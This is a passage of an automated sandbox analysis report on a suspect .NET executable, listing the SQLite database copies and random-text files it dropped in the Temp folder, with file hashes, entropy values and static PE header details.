SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB7BC.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB7CD.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB7DE.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB7EE.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB80E.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC736.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmpC747.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmpC748.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmpC749.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmpEECF.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEEE0.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEEF0.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEF01.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEF12.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEF22.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpEF33.tmp

Download File

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960766681316853
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	VXB84UvyHp.exe
File size:	97'792 bytes
MD5:	4698a45d6f8da200c396e56af7b8d34f
SHA1:	6df61371dbfd7d9245bb1e6bc63cb253bcb010a4
SHA256:	fd17ba1c5a4ebe7ad43606505471a2357cb9a6bbdf11bde9a9c18633bfedd65d
SHA512:	762dbdb08c7a97f959c5b7252988e8e2cc6230680eb456ef8e07d434b80b5a59df1074bd43a1f60ee473b0f13bc2c6c8c75ef783a9678c18a4b366a6b1413c7a
SSDEEP:	1536:5qsIbqDylbG6jejoigIj43Ywzi0Zb78ivombfexv0ujXyyed24tmulgS6p8l:XywiYj+zi0ZbYe1g0ujyzd88
TLSH:	9BA35D30679C9F19EAFD1B75B472012043F0E08A9091FB4A4DC194E71FA7B866957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........>.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41933e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192e4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
